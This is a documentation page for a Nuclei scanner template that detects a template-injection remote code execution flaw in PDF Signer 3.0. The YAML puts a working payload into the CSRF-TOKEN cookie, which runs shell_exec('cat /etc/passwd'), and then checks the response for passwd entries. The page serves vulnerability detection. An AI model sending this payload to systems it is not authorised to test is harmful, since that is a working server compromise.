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Nuclei Templates

PDF Signer 3.0 - Template Injection

ID: pdf-signer-ssti-to-rce

Severity: critical

Author: madrobot

Tags: ssti,rce,csrf

Description

Section titled “Description”

PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.

YAML Source

Section titled “YAML Source”
id: pdf-signer-ssti-to-rce


info:
  name: PDF Signer 3.0 - Template Injection
  author: madrobot
  severity: critical
  description: PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1336
  metadata:
    max-request: 1
  tags: ssti,rce,csrf


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    headers:
      Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
    skip-variables-check: true


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200


      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a00483046022100c000f1daf62f5d3dd07a2d8e79b4a7c3854391f3eae69d4cd6ebf46b9da4741602210095e4cd550cc9f0257b587d7d19dae06a4f3787bf53531530b9e4e738d1479cf2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml"

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